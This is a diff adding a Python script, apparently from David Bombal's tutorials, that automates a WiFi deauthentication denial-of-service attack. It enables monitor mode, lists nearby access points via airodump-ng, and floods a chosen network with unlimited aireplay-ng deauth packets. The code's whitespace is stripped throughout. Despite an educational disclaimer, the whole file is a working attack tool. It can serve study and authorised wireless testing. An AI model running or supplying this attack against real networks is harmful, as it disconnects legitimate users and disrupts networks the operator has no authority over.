|
| 1 | +# Disclaimer: This script is for educational purposes only. Do not use against any network that you don't own or have authorization to test. |
| 2 | + |
| 3 | +# We will be using the subprocess module to run commands on Kali Linux. |
| 4 | +importsubprocess |
| 5 | +# We require regular expressions. |
| 6 | +importre |
| 7 | +# We want to open the CSV files generated by airmon-ng, |
| 8 | +# and we'll use the built-in csv module. |
| 9 | +importcsv |
| 10 | +# We want to import os because we want to check for sudo |
| 11 | +importos |
| 12 | +# We want to use time.sleep() |
| 13 | +importtime |
| 14 | +# We want to move .csv files in the folder if we found any. |
| 15 | +# We'll use shutil for that. |
| 16 | +importshutil |
| 17 | +# Create a timestamp for .csv filename |
| 18 | +fromdatetimeimportdatetime |
| 19 | + |
| 20 | +# Create an empty list |
| 21 | +active_wireless_networks= [] |
| 22 | + |
| 23 | +# We use this function to test if the ESSID is already in the list file. |
| 24 | +# If so we return False so we don't add it again. |
| 25 | +# If it is not in the lst we return True which will instruct the elif |
| 26 | +# statement to add it to the lst. |
| 27 | +defcheck_for_essid(essid,lst): |
| 28 | +check_status=True |
| 29 | + |
| 30 | +# If no ESSIDs in list add the row |
| 31 | +iflen(lst)==0: |
| 32 | +returncheck_status |
| 33 | + |
| 34 | +# This will only run if there are wireless access points in the list. |
| 35 | +foriteminlst: |
| 36 | +# If True don't add to list. False will add it to list |
| 37 | +ifessidinitem["ESSID"]: |
| 38 | +check_status=False |
| 39 | + |
| 40 | +returncheck_status |
| 41 | + |
| 42 | +# Basic user interface header |
| 43 | +print(r"""______ _ _ ______ _ _ |
| 44 | +| _ \ (_) | | | ___ \ | | | | |
| 45 | +| | | |__ ___ ___ __| | | |_/ / ___ _ __ ___ | |__ __ _| | |
| 46 | +| | | / _` \ \ / / |/ _` | | ___ \/ _ \| '_ ` _ \| '_ \ / _` | | |
| 47 | +| |/ / (_| |\ V /| | (_| | | |_/ / (_) | | | | | | |_) | (_| | | |
| 48 | +|___/ \__,_| \_/ |_|\__,_| \____/ \___/|_| |_| |_|_.__/ \__,_|_|""") |
| 49 | +print("\n****************************************************************") |
| 50 | +print("\n* Copyright of David Bombal, 2021 *") |
| 51 | +print("\n* https://www.davidbombal.com *") |
| 52 | +print("\n* https://www.youtube.com/davidbombal *") |
| 53 | +print("\n****************************************************************") |
| 54 | + |
| 55 | + |
| 56 | +# If the user doesn't run the program with super user privileges, don't allow them to continue. |
| 57 | +ifnot'SUDO_UID'inos.environ.keys(): |
| 58 | +print("Try running this program with sudo.") |
| 59 | +exit() |
| 60 | + |
| 61 | +# Remove .csv files before running the script. |
| 62 | +forfile_nameinos.listdir(): |
| 63 | +# We should only have one csv file as we delete them from the folder |
| 64 | +# every time we run the program. |
| 65 | +if".csv"infile_name: |
| 66 | +print("There shouldn't be any .csv files in your directory. We found .csv files in your directory and will move them to the backup directory.") |
| 67 | +# We get the current working directory. |
| 68 | +directory=os.getcwd() |
| 69 | +try: |
| 70 | +# We make a new directory called /backup |
| 71 | +os.mkdir(directory+"/backup/") |
| 72 | +except: |
| 73 | +print("Backup folder exists.") |
| 74 | +# Create a timestamp |
| 75 | +timestamp=datetime.now() |
| 76 | +# We move any .csv files in the folder to the backup folder. |
| 77 | +shutil.move(file_name,directory+"/backup/"+str(timestamp)+"-"+file_name) |
| 78 | + |
| 79 | +# Regex to find wireless interfaces. We're making the assumption they will all be wlan0 or higher. |
| 80 | +wlan_pattern=re.compile("^wlan[0-9]+") |
| 81 | + |
| 82 | +# Python allows is to run system commands by using a function provided by the subprocess module. |
| 83 | +# subprocess.run(<list of command line arguments goes here>) |
| 84 | +# The script is the parent process and creates a child process which runs the system command, |
| 85 | +# and will only continue once the child process has completed. |
| 86 | +# We run the iwconfig command to look for wireless interfaces. |
| 87 | +check_wifi_result=wlan_pattern.findall(subprocess.run(["iwconfig"],capture_output=True).stdout.decode()) |
| 88 | + |
| 89 | +# No WiFi Adapter connected. |
| 90 | +iflen(check_wifi_result)==0: |
| 91 | +print("Please connect a WiFi adapter and try again.") |
| 92 | +exit() |
| 93 | + |
| 94 | +# Menu to select WiFi interface from |
| 95 | +print("The following WiFi interfaces are available:") |
| 96 | +forindex,iteminenumerate(check_wifi_result): |
| 97 | +print(f"{index} -{item}") |
| 98 | + |
| 99 | +# Ensure the WiFi interface selected is valid. Simple menu with interfaces to select from. |
| 100 | +whileTrue: |
| 101 | +wifi_interface_choice=input("Please select the interface you want to use for the attack: ") |
| 102 | +try: |
| 103 | +ifcheck_wifi_result[int(wifi_interface_choice)]: |
| 104 | +break |
| 105 | +except: |
| 106 | +print("Please enter a number that corresponds with the choices available.") |
| 107 | + |
| 108 | +# For easy reference we call the selected interface hacknic |
| 109 | +hacknic=check_wifi_result[int(wifi_interface_choice)] |
| 110 | + |
| 111 | +# Tell the user we're going to kill the conflicting processes. |
| 112 | +print("WiFi adapter connected!\nNow let's kill conflicting processes:") |
| 113 | + |
| 114 | +# Put wireless in Monitor mode |
| 115 | +print("Putting Wifi adapter into monitored mode:") |
| 116 | +# This is one way to put it into monitoring mode. You can also use iwconfig, or airmon-ng. |
| 117 | +subprocess.run(["ip","link","set",hacknic,"down"]) |
| 118 | +# Killing additional processes makes sure that nothing interferes with putting controller into monitor mode. |
| 119 | +subprocess.run(["airmon-ng","check","kill"]) |
| 120 | +# Put the WiFi nic in monitor mode. |
| 121 | +subprocess.run(["iw",hacknic,"set","monitor","none"]) |
| 122 | +# Bring the WiFi controller back online. |
| 123 | +subprocess.run(["ip","link","set",hacknic,"up"]) |
| 124 | + |
| 125 | +# subprocess.Popen(<list of command line arguments goes here>) |
| 126 | +# The Popen method opens a pipe from a command. |
| 127 | +# The output is an open file that can be accessed by other programs. |
| 128 | +# We run the iwconfig command to look for wireless interfaces. |
| 129 | +# Discover access points |
| 130 | +discover_access_points=subprocess.Popen(["sudo","airodump-ng","-w" ,"file","--write-interval","1","--output-format","csv",hacknic],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) |
| 131 | + |
| 132 | +# Loop that shows the wireless access points. We use a try except block and we will quit the loop by pressing ctrl-c. |
| 133 | +try: |
| 134 | +whileTrue: |
| 135 | +# We want to clear the screen before we print the network interfaces. |
| 136 | +subprocess.call("clear",shell=True) |
| 137 | +forfile_nameinos.listdir(): |
| 138 | +# We should only have one csv file as we backup all previous csv files from the folder every time we run the program. |
| 139 | +# The following list contains the field names for the csv entries. |
| 140 | +fieldnames= ['BSSID','First_time_seen','Last_time_seen','channel','Speed','Privacy','Cipher','Authentication','Power','beacons','IV','LAN_IP','ID_length','ESSID','Key'] |
| 141 | +if".csv"infile_name: |
| 142 | +withopen(file_name)ascsv_h: |
| 143 | +# This will run multiple times and we need to reset the cursor to the beginning of the file. |
| 144 | +csv_h.seek(0) |
| 145 | +# We use the DictReader method and tell it to take the csv_h contents and then apply the dictionary with the fieldnames we specified above. |
| 146 | +# This creates a list of dictionaries with the keys as specified in the fieldnames. |
| 147 | +csv_reader=csv.DictReader(csv_h,fieldnames=fieldnames) |
| 148 | +forrowincsv_reader: |
| 149 | +# We want to exclude the row with BSSID. |
| 150 | +ifrow["BSSID"]=="BSSID": |
| 151 | +pass |
| 152 | +# We are not interested in the client data. |
| 153 | +elifrow["BSSID"]=="Station MAC": |
| 154 | +break |
| 155 | +# Every field where an ESSID is specified will be added to the list. |
| 156 | +elifcheck_for_essid(row["ESSID"],active_wireless_networks): |
| 157 | +active_wireless_networks.append(row) |
| 158 | + |
| 159 | +print("Scanning. Press Ctrl+C when you want to select which wireless network you want to attack.\n") |
| 160 | +print("No |\tBSSID |\tChannel|\tESSID |") |
| 161 | +print("___|\t___________________|\t_______|\t______________________________|") |
| 162 | +forindex,iteminenumerate(active_wireless_networks): |
| 163 | +# We're using the print statement with an f-string. |
| 164 | +# F-strings are a more intuitive way to include variables when printing strings, |
| 165 | +# rather than ugly concatenations. |
| 166 | +print(f"{index}\t{item['BSSID']}\t{item['channel'].strip()}\t\t{item['ESSID']}") |
| 167 | +# We make the script sleep for 1 second before loading the updated list. |
| 168 | +time.sleep(1) |
| 169 | + |
| 170 | +exceptKeyboardInterrupt: |
| 171 | +print("\nReady to make choice.") |
| 172 | + |
| 173 | +# Ensure that the input choice is valid. |
| 174 | +whileTrue: |
| 175 | +# If you don't make a choice from the options available in the list, |
| 176 | +# you will be asked to please try again. |
| 177 | +choice=input("Please select a choice from above: ") |
| 178 | +try: |
| 179 | +ifactive_wireless_networks[int(choice)]: |
| 180 | +break |
| 181 | +except: |
| 182 | +print("Please try again.") |
| 183 | + |
| 184 | +# To make it easier to work with and read the code, we assign the results to variables. |
| 185 | +hackbssid=active_wireless_networks[int(choice)]["BSSID"] |
| 186 | +hackchannel=active_wireless_networks[int(choice)]["channel"].strip() |
| 187 | + |
| 188 | +# Change to the channel we want to perform the DOS attack on. |
| 189 | +# Monitoring takes place on a different channel and we need to set it to that channel. |
| 190 | +subprocess.run(["airmon-ng","start",hacknic,hackchannel]) |
| 191 | + |
| 192 | +# Deauthenticate clients using a subprocess. |
| 193 | +# The script is the parent process and creates a child process which runs the system command, |
| 194 | +# and will only continue once the child process has completed. |
| 195 | +try: |
| 196 | +subprocess.run(["aireplay-ng","--deauth","0","-a",hackbssid,hacknic]) |
| 197 | +exceptKeyboardInterrupt: |
| 198 | +print("Done!") |
| 199 | +# User will need to use control-c to break the script. |